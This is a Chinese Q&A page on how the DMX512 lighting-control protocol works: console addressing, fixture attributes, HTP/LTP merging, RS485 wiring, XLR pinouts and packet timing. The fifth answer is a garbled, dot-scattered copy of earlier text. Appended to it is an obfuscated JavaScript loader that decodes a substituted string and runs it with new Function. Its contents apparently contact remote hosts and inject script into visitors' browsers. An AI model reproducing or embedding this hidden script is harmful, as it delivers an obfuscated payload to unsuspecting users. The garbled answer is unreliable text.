怎么样快速了解DMX512控制系统?

2025-03-04 04:56:07
推荐回答(5个)
回答1:

DMX512系统及电脑灯知识
灯光的数字调光通讯协议(digital dimmer protocol) DMX512:

在正式切入主题以前,我们必须先了解一下何谓DMX512?
它又能为我们在 灯光的应用上提供什么功能呢?DMX512 是一个国际标准的数位调光 通讯协议 (digital dimmer protocol),依照这个标准所产生的电子讯号,被 全世界采用来作 为灯光控制器(Lighting Console)与灯光调光器(Lighting
Dimmer)沟通数据。 每一个调光器所连结灯具的亮度强弱是由控制器送出一个数字码来决 定,技术上 来说它是一个二进制8位码(an 8-digit binary number),8位提 供256(2的8 次方)个单一输出位准从全暗( 0 or 0%)到全亮( 255 or100%)。近年来附记忆功能 的大型灯光控制器已经发展出来,可以操控、储存、整合并决定对每一个调光位址(Dimmer Address)送出256段输出位准到调光器来建立丰富而且不同的灯光 效果。由于科技进步之赐,新型的灯光控制器透过以太网络(Ethernet)可以控制到一万多个调光地址,而每个调光地址可以连接无限台调光器,这就是为什么大如迪斯耐游乐场,虽然使用的灯具多达数十万,但是在理论上只要一台控制器就可以控制所有灯具,而且透过SMPTE时间编码及网络对时功能,可以每天分秒不差的对每个不同主题馆重复各种不同的灯光演出,而不需要控制人员每天来控制。不但如此,透过MIDI(Musical Instrument Digital
Interface,乐器数字介面)联机,还可以同步控制视讯、音效、乐器 ……等各种多媒体器材做演出(我想他们大概不会这样做吧),话题扯太远了,下次再为各位聊一下这方面的发展与应用。

计算机灯的属性(attributes)观念
这个大家同意的国际通讯协议(DMX),开启了以前未被使用的创新功能,它给大量成长使用DMX控制系统的人们带来新的机会,Color changers已经存在很久了,在早期可以透过模拟信号来控制颜色的变化,但是经由DMX 控制器
可以很简单地经由DMX 信号线连接到每个Color changers来遥控色片的卷动。
扫描灯具(scanner)如Strand Hyperbeam或Clay Paky GoldenScan 3,它们的高亮度
光源、颜色混合功能、光束转向镜片、花片(gobo)和菱镜(prism)效果也都是由多
重的DMX信号来控制,效果灯具如闪光灯、喷烟机等也都可以使用DMX来控
制。当使用调光信号来增加其它应用时,一个新的术语被要求来描述它们,淡入
(fade in)/淡出(fade out)的观念并不是很符合镜片的移动或花片的选择与旋转,
这些不调光 (non-dimming)而使用DMX信号的应用称为"属性" (attributes)。

每具计算机灯都拥有一组属性可以控制它们的所有功能,所有这些属性会被分
配到四大群组:Intensity亮度、Color颜色、Beam光束、Focus位置,也会被指
派到特定的DMX回路来控制。当纪录到一个Cue的时候,每一个属性可以有自
己独立的等待或淡入/淡出时间,这使得一个Cue可以同时改变每一个灯具的
各个不同属性。
首先让我们来看事实上属性DMX信号的意思,灯具抓取一个区块(视每个灯具所需的调光地址dimmer address而定)的DMX信号,并且使用调光输出位准来表示光束的位置、颜色、花片及其它的效果等。每一条DMX信号线可以同时传送512个独立的DMX输出位准,每一个输出位准有一个唯一的地址号码。在设定的过程,灯具被赋予一个起始地址(start address)和一连串的地址,而每个地址对应这个灯具的一项功能。当DMX信号从0开始增大时每个功能将很均衡的改变,举例来说:当控制镜片水平移动的DMX输出位准由0改变到255时,镜片的水平移动将立刻由一边的尽头立刻移动到另一边的尽头,而输出位准在128(50%)时镜片将会在正中间。不幸的是DMX信号与个别属性之间的关系在不同的灯具并不一致。不同的灯具有多种型态的属性,就算不同的灯具属性类似,使用DMX控制也是依照产品设计师个人的喜好而定。所以无可避免的必须做配置(patch),联结一个DMX地址号码到个别的属性。还好目前先进的控制台大都内建数据库,搜集了世界上知名而且常用的灯具及属性,提供一个很简单的配置过程,只要选好灯具型号与数量,再输入起始DMX地址就可以将每个灯具的属性配置到正确的位址。而将同一个灯具的各个属性连结到一个回路(channel)的观念,更是新一
代附记忆功能的灯光控制器(如Strand 430,530和550、ETC Obsession II、Rosco
Horizon 98…等)实质上的进步。传统的DMX灯光控制器每个属性的功能如:上下、左右、颜色都要求直接个别控制,这必须透过配置一个控制回路到每一DMX输出来达成。假如使用十具Hyperbeam,每具使用17个DMX地址信号来控制所有功能,就必须占用系统记忆能力的170个回路来分配给这十个灯具使用,而传统的DMX灯光控制器的内存是很宝贵的(回路数量并不是很多)。然而操作的问题开始出现了,要记住第6具的左右是哪一个回路,第3具的颜色是哪一个回路……靠脑袋是记不住的,否则就必须借助一个很巨大的表格来帮助操作。然后另一个问题出现在纪录(recording)和执行(performing)这些多重属性的改变时,假如控制台是在"预设"(preset)模式工作时,每一个记忆(Cue、Submaster、Group)就是所有DMX输出位准的单一纪录,当一个记忆改变到另一个记忆时将可能强迫所有属性重新设为0输出位准(因为不具备追踪tracking功能),特别是在呼叫一个全暗(blackout) 的画面时。新一代附记忆功能的灯光控制器带来新的方法来解决上述问题。系统的每一个回路号码都有能力控制总数达99个各别属性的功能(大部分机型),每一个回路号码事实上小数点后面都有两位数值,只是被隐藏起来。因此当操作回路33时可以同时控制所有属性,因为控制器了解回路33.01是控制亮度(intensity),33.02是控制颜色(color),33.03是控制左右,33.04是控制上下……等。这个好处立刻显现出来,经由一个单一的回路号码就可以使用单一灯具的所有属性,而且大部分机型的面板都有数个滑轮或转盘可以对每个属性做快速编修。灯具的亮度可以经由不同的来源控制:回路、回放装置、辅助推杆的某个群组,假如一个回路存在多个不同位置,控制台将会决定输出最大数值
('Highest level Takes Precedence' or HTP)或最后的改变( 'Latest action Takes Precedence' or LTP),就属性来讲,当控制一个灯具颜色卷动器(color scroller) 时,最大数值(HTP) 的观念是不合逻辑的,举例来说:在红色与蓝色之间哪一个是最大?无论如何,最近选择颜色的想法,如蓝色在红色之后(LTP)是被操作者与计算机所了解的。因此软件区别了哪些属性同时拥有HTP 或 LTP(只有亮度intensity),而哪些只拥 有LTP(事实上就是除了亮度以外的所有属性)。因为这个不同的定义,控制台知道属性间的差异,而这正是系统唯一能将亮度衰减到0的重要关键,只有在接收到一个明确的命令时,所有其它属性才会改变到新的位置。个别的属性可以经由键盘输入一个小数值来直接控制,或假如辅助推杆是由 属性回路来使用,某些有趣的功能将会存在。举例来说:假如这个辅助推杆包含 了经由亮度位准定义所选择的属性回路,当辅助推杆推到全开时,控制台将会执 行一个新的画面,所有的功能都会一直改变(包括上下、左右、颜色、花片…… 等)。假如辅助推杆只包含一个属性的话(如上下、左右、颜色、花片……等),辅 助推杆将可以手动控制这些个别属性功能的动作。

回答2:

DMX512协议最先是由USITT(美国剧院技术协会)发展成为从控制台用标准数字接口控制调光器的方式。DMX512超越了模拟系统,但不能完全代替模拟系统。DMX512的简单性、可靠性(假如能够正确安装和使用的话!)以及灵活性使其迅速成为资金允许情况下选择的协议,除了调光器外,一系列不断增长的控制设备就是证据。DMX512仍然是科学上的一个新领域,具有在规则基础上产生的各种奇妙技术。
  EIA485(RS485)
  DMX512是围绕工业标准EIA485接口设计的。EIA485属于接口、电压、电流等的“电”端。
  系统是基于沿着屏蔽导体双绞线的向下对称发送而建立的。这种缠绕结构确保所产生的干扰会同样地作用于两个信号,因此保证了一致的数字定相。所用的导线应该是由一条或两条双绞线、箔片和编织筛所构成的合适的数据导线。对称音频导线则不能完成这个工作。
  通常地,就如任何网段一样,导线两头应该有两个终端。灯光控制台通常在一头作为终端,而另一头应该只有一个120Ω的电阻。EIA485规范只支持“雏菊链”或每段上最多以32个“单元负载”所构成的串行网络。制造商声称每段可以长达1000m。但是,要特别指出的是,中继器的作用应该考虑到700m或800m左右,这样可以防止环境的异常。
  XLR连接器的针口分配如下:
  针 线 信号
  1屏蔽 地/0伏
  2内部导体(黒) 数据–
  3内部导体(白) 数据+
  4内部导体(绿) 备用数据-
  5内部导体(红) 备用数据+
  DMX512控制线采用5针XLR(有时候是3针)连接设备(如表1);母接口适用于发送器,而公接口适用于接收器
  规范中建议用一条两对导线(4个连接口)来实现屏蔽,虽然只是需要其中一对。第二对导线用于未指定的可选场合中。必须注意的是一些调光器使用这些线来指示故障和状态信息。如果调光器用第二个信道,则需要专门配置的分路器和中继器。
  把线连接到逻辑电平最安全的方法是使用一个“标准”接口IC—TexasInstruments的SN75176B,如果要实现连接以及隔离,Burr-Brown的ISO485P是好的选择。使用这些接口方法为每个设备提供一个额定的单元负载,这些设备都允许在段上最多安装32个接收器。不推荐通过直接横跨线路来连接高灵敏度光隔离器的直接联机接口方式,它所提供的负载会比正常接收器的负载大5倍左右,从而减少了在段上可安装的接收器数目。另外还会引起失真,增大出错率并导致符合EIA485的接收器出现故障,这些都是坏消息!
  资料
  资料发送基于一种8位异步串行协议,带一个开始位(低电平)和两个停止位(高电平),没有奇偶校验。因此一个资料帧有11位元。由于每一位的宽度是4祍,所以发送一个帧需要44祍的时间。如果线路要发送一个连续的数据流,则会产生250000b/s的资料率,或称250k波特。
  8位字对于每个调光器允许以0到255的范围来发送256个独立级别。
  开始位和停止位用于使发送器和接收器同步。资料线通常处于高电平;实际上它空闲时会处于高电平状态(更多的是处于这种状态)。开始位的出现促使接收器投入工作,后面的8位元资料被扫描且被译码(希望如此)。然后接收器等待停止位到来,停止位过后会再次出现这个过程。我们需要停止位有两个理由:让接收器有充分的时间处理输入的资料;让线路处于高电平的状态,这样下一个“开始”才能被检测到。图1描述了一个帧里面的位电平,这个帧中含有资料“0”和“255”。
  迄今为止已经解释得很清楚了,但是还没有完,DMX512最多可支持512个调光器,现在我们只看到了第1个,那么怎样为所有的调光器处理资料呢?答案是简单的,只是不断重复这个过程!好的,就是那么简单。不过现在的情况可不是那么简单了,我们在段上取得了一个数据流,但是没有办法辨别哪一帧是属于哪一个调光器的。看“DMX包”部分的提示。
  DMX512“包”
  DMX512包是这个标准的核心,它由一个包含深层同步信息的帧集合构成,其中的深层信息也就是一个“Break”和一个“Mark-after-break”。就是这个信息使接收器能够检测到一个帧的开始,因此能够处理接收到的资料。帧定时检验显示了线路处于低电平的最长时间是4祍(开始位)+8×4祍(资料位)=36祍,但是一个“Break”包含至少88祍的“低电平”,这两者的不同很容易被检测到,可用于调光器的同步。"Mark-after-break”在线路上是“高”状态,至少8祍时间的宽度,“Mark-after-break”是必需的,因为这样才能检测到“Break”,否则帧的开始位会紧随“Break”,使线路一直陷入低电平状态。此时将会非常混乱!一个描述“包”的图2有助于说明以上问题。
  “0”数值表示后面的帧包含调光器级别的信息。另外的255个代码在规范中没有定义,但是一些制造商却使用了其它代码来发送产品的特殊信息。一个接收了非零开始码的调光器“将会”忽略包余下的部分,不过要小心,它不会总被检验到!
  定时总结如下:
  最小 最大
  Break 88μs 1秒
  Mark-after-break 8μs 1秒
  Inter-frame-time 0μs 1秒
  “Inter-frame-time”用于减低资料率。有些调光器不能处理高速运行的资料,或者在控制台处理其它任务的同时用于“插入”发送过程。它的数值可以在0到1秒之间。
  规范中对于定时设置了一些限制。
  从上面可以看出,资料率有很大的扩展性,但是要注意的是,不允许线路状态持续处于“高”或“低”状态超过一秒的时间,而且此时应该考虑出错的条件。
  差不多DMX512系统中出现的所有误操作都是源于系统知识的缺乏。引起问题的一个地方是在信号分离中。记住,系统以段终结的方式运行。简单地把线路分离(看上去是符合逻辑的)会由于欧姆量的反复变化而不能工作。这样做容易导致信号的破坏。
  解决办法是使用“分路器”和“中继器”,通电设备“监听”段上的资料,然后进行广播,或根据需要在下一个段上“重现”。

回答3:

在灯具调光和控制中,人们大量采用了DMX512的控制协议,它是由美国剧场技术协会(United State Institute for Theatre Technology,Inc)于1986年8月提出的一个能在一对线上传送512路可控硅调光亮度信息的标准。 DMX512通信方式是采用了异步通信格式,每个调光点由11位组成,其中一个是起始位,8位调光数据,两个停止位.每一次传输能512个调光点。EIA485(RS485) DMX512是围绕工业标准EIA485接口设计的。EIA485属于接口、电压、电流等的“电”端。参考资料: http://www.ydsco.com/blog/index.php?job=art&articleid=a_20060905_152726

回答4:

去买块DMX512开发板学习就行了。方便快捷。

回答5:

规.范中.建.议用.一条两.对导.线.4个连.接口)来实现屏.虽然只是需要.其中一.对..。第二对导.线用于未指定的可选场合中。..必.须注意.的是一些调光.器使用.些线来.指示故.障和状态信息。如果调光器用第.二.信道,.需要专门配置.的分.器和中继器。
......

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();